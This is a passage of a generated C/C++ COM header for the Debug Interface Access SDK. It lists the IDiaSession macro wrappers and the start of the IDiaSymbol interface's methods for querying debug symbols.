**ppResult);\n        \n        END_INTERFACE\n    } IDiaSessionVtbl;\n\n    interface IDiaSession\n    {\n        CONST_VTBL struct IDiaSessionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSession_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSession_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSession_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSession_get_loadAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_loadAddress(This,pRetVal) ) \n\n#define IDiaSession_put_loadAddress(This,NewVal)\t\\\n    ( (This)->lpVtbl -> put_loadAddress(This,NewVal) ) \n\n#define IDiaSession_get_globalScope(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_globalScope(This,pRetVal) ) \n\n#define IDiaSession_getEnumTables(This,ppEnumTables)\t\\\n    ( (This)->lpVtbl -> getEnumTables(This,ppEnumTables) ) \n\n#define IDiaSession_getSymbolsByAddr(This,ppEnumbyAddr)\t\\\n    ( (This)->lpVtbl -> getSymbolsByAddr(This,ppEnumbyAddr) ) \n\n#define IDiaSession_findChildren(This,parent,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,parent,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSession_findChildrenEx(This,parent,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,parent,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSession_findChildrenExByAddr(This,parent,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,parent,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSession_findChildrenExByVA(This,parent,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,parent,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSession_findChildrenExByRVA(This,parent,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,parent,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSession_findSymbolByAddr(This,isect,offset,symtag,ppSymbol)\t\\\n    ( (This)->lpVtbl -> findSymbolByAddr(This,isect,offset,symtag,ppSymbol) ) \n\n#define IDiaSession_findSymbolByRVA(This,rva,symtag,ppSymbol)\t\\\n    ( (This)->lpVtbl -> findSymbolByRVA(This,rva,symtag,ppSymbol) ) \n\n#define IDiaSession_findSymbolByVA(This,va,symtag,ppSymbol)\t\\\n    ( (This)->lpVtbl -> findSymbolByVA(This,va,symtag,ppSymbol) ) \n\n#define IDiaSession_findSymbolByToken(This,token,symtag,ppSymbol)\t\\\n    ( (This)->lpVtbl -> findSymbolByToken(This,token,symtag,ppSymbol) ) \n\n#define IDiaSession_symsAreEquiv(This,symbolA,symbolB)\t\\\n    ( (This)->lpVtbl -> symsAreEquiv(This,symbolA,symbolB) ) \n\n#define IDiaSession_symbolById(This,id,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolById(This,id,ppSymbol) ) \n\n#define IDiaSession_findSymbolByRVAEx(This,rva,symtag,ppSymbol,displacement)\t\\\n    ( (This)->lpVtbl -> findSymbolByRVAEx(This,rva,symtag,ppSymbol,displacement) ) \n\n#define IDiaSession_findSymbolByVAEx(This,va,symtag,ppSymbol,displacement)\t\\\n    ( (This)->lpVtbl -> findSymbolByVAEx(This,va,symtag,ppSymbol,displacement) ) \n\n#define IDiaSession_findFile(This,pCompiland,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findFile(This,pCompiland,name,compareFlags,ppResult) ) \n\n#define IDiaSession_findFileById(This,uniqueId,ppResult)\t\\\n    ( (This)->lpVtbl -> findFileById(This,uniqueId,ppResult) ) \n\n#define IDiaSession_findLines(This,compiland,file,ppResult)\t\\\n    ( (This)->lpVtbl -> findLines(This,compiland,file,ppResult) ) \n\n#define IDiaSession_findLinesByAddr(This,seg,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findLinesByAddr(This,seg,offset,length,ppResult) ) \n\n#define IDiaSession_findLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSession_findLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSession_findLinesByLinenum(This,compiland,file,linenum,column,ppResult)\t\\\n    ( (This)->lpVtbl -> findLinesByLinenum(This,compiland,file,linenum,column,ppResult) ) \n\n#define IDiaSession_findInjectedSource(This,srcFile,ppResult)\t\\\n    ( (This)->lpVtbl -> findInjectedSource(This,srcFile,ppResult) ) \n\n#define IDiaSession_getEnumDebugStreams(This,ppEnumDebugStreams)\t\\\n    ( (This)->lpVtbl -> getEnumDebugStreams(This,ppEnumDebugStreams) ) \n\n#define IDiaSession_findInlineFramesByAddr(This,parent,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,parent,isect,offset,ppResult) ) \n\n#define IDiaSession_findInlineFramesByRVA(This,parent,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,parent,rva,ppResult) ) \n\n#define IDiaSession_findInlineFramesByVA(This,parent,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,parent,va,ppResult) ) \n\n#define IDiaSession_findInlineeLines(This,parent,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,parent,ppResult) ) \n\n#define IDiaSession_findInlineeLinesByAddr(This,parent,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,parent,isect,offset,length,ppResult) ) \n\n#define IDiaSession_findInlineeLinesByRVA(This,parent,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,parent,rva,length,ppResult) ) \n\n#define IDiaSession_findInlineeLinesByVA(This,parent,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,parent,va,length,ppResult) ) \n\n#define IDiaSession_findInlineeLinesByLinenum(This,compiland,file,linenum,column,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByLinenum(This,compiland,file,linenum,column,ppResult) ) \n\n#define IDiaSession_findInlineesByName(This,name,option,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineesByName(This,name,option,ppResult) ) \n\n#define IDiaSession_findAcceleratorInlineeLinesByLinenum(This,parent,file,linenum,column,ppResult)\t\\\n    ( (This)->lpVtbl -> findAcceleratorInlineeLinesByLinenum(This,parent,file,linenum,column,ppResult) ) \n\n#define IDiaSession_findSymbolsForAcceleratorPointerTag(This,parent,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,parent,tagValue,ppResult) ) \n\n#define IDiaSession_findSymbolsByRVAForAcceleratorPointerTag(This,parent,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,parent,tagValue,rva,ppResult) ) \n\n#define IDiaSession_findAcceleratorInlineesByName(This,name,option,ppResult)\t\\\n    ( (This)->lpVtbl -> findAcceleratorInlineesByName(This,name,option,ppResult) ) \n\n#define IDiaSession_addressForVA(This,va,pISect,pOffset)\t\\\n    ( (This)->lpVtbl -> addressForVA(This,va,pISect,pOffset) ) \n\n#define IDiaSession_addressForRVA(This,rva,pISect,pOffset)\t\\\n    ( (This)->lpVtbl -> addressForRVA(This,rva,pISect,pOffset) ) \n\n#define IDiaSession_findILOffsetsByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findILOffsetsByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSession_findILOffsetsByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findILOffsetsByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSession_findILOffsetsByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findILOffsetsByVA(This,va,length,ppResult) ) \n\n#define IDiaSession_findInputAssemblyFiles(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFiles(This,ppResult) ) \n\n#define IDiaSession_findInputAssembly(This,index,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssembly(This,index,ppResult) ) \n\n#define IDiaSession_findInputAssemblyById(This,uniqueId,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyById(This,uniqueId,ppResult) ) \n\n#define IDiaSession_getFuncMDTokenMapSize(This,pcb)\t\\\n    ( (This)->lpVtbl -> getFuncMDTokenMapSize(This,pcb) ) \n\n#define IDiaSession_getFuncMDTokenMap(This,cb,pcb,pb)\t\\\n    ( (This)->lpVtbl -> getFuncMDTokenMap(This,cb,pcb,pb) ) \n\n#define IDiaSession_getTypeMDTokenMapSize(This,pcb)\t\\\n    ( (This)->lpVtbl -> getTypeMDTokenMapSize(This,pcb) ) \n\n#define IDiaSession_getTypeMDTokenMap(This,cb,pcb,pb)\t\\\n    ( (This)->lpVtbl -> getTypeMDTokenMap(This,cb,pcb,pb) ) \n\n#define IDiaSession_getNumberOfFunctionFragments_VA(This,vaFunc,cbFunc,pNumFragments)\t\\\n    ( (This)->lpVtbl -> getNumberOfFunctionFragments_VA(This,vaFunc,cbFunc,pNumFragments) ) \n\n#define IDiaSession_getNumberOfFunctionFragments_RVA(This,rvaFunc,cbFunc,pNumFragments)\t\\\n    ( (This)->lpVtbl -> getNumberOfFunctionFragments_RVA(This,rvaFunc,cbFunc,pNumFragments) ) \n\n#define IDiaSession_getFunctionFragments_VA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment)\t\\\n    ( (This)->lpVtbl -> getFunctionFragments_VA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) ) \n\n#define IDiaSession_getFunctionFragments_RVA(This,rvaFunc,cbFunc,cFragments,pRvaFragment,pLenFragment)\t\\\n    ( (This)->lpVtbl -> getFunctionFragments_RVA(This,rvaFunc,cbFunc,cFragments,pRvaFragment,pLenFragment) ) \n\n#define IDiaSession_getExports(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getExports(This,ppResult) ) \n\n#define IDiaSession_getHeapAllocationSites(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getHeapAllocationSites(This,ppResult) ) \n\n#define IDiaSession_findInputAssemblyFile(This,pSymbol,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,pSymbol,ppResult) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaSession_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol_INTERFACE_DEFINED__\n#define __IDiaSymbol_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"cb787b2f-bd6c-4635-ba52-933126bd2dcd\")\n    IDiaSymbol : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_symIndexId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_symTag( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_name( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lexicalParent( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_classParent( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_type( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_dataKind( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_locationType( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_offset( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_slot( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_volatileType( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_constType( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_unalignedType( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_access( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_libraryName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_platform( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_language( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_editAndContinueEnabled( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frontEndMajor( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frontEndMinor( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frontEndBuild( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_backEndMajor( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_backEndMinor( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_backEndBuild( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sourceFileName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_unused( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_thunkOrdinal( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_thisAdjust( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBaseOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtual( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_intro( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_pure( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_callingConvention( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_value( \n            /* [retval][out] */ VARIANT *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseType( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_token( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_timeStamp( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_guid( \n            /* [retval][out] */ GUID *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_symbolsFileName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_reference( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_count( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_bitPosition( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_arrayIndexType( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_packed( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_constructor( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_overloadedOperator( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_nested( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasNestedTypes( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasAssignmentOperator( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasCastOperator( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_scoped( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBaseClass( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_indirectVirtualBaseClass( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBasePointerOffset( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualTableShape( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lexicalParentId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_classParentId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_typeId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_arrayIndexTypeId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualTableShapeId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_code( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_function( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_managed( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_msil( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBaseDispIndex( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_undecoratedName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_age( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_signature( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilerGenerated( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressTaken( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_rank( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lowerBound( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_upperBound( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lowerBoundId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_upperBoundId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_dataBytes( \n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildren( \n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildrenEx( \n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildrenExByAddr( \n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildrenExByVA( \n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildrenExByRVA( \n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_targetSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_targetOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_targetRelativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_targetVirtualAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_machineType( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_oemId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_oemSymbolId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_types( \n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_typeIds( \n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_objectPointerType( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_udtKind( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_undecoratedNameEx( \n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noReturn( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_customCallingConvention( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noInline( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_optimizedCodeDebugInfo( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_notReached( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_interruptReturn( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_farReturn( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isStatic( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasDebugInfo( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isLTCG( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isDataAligned( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasSecurityChecks( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilerName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasAlloca( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* 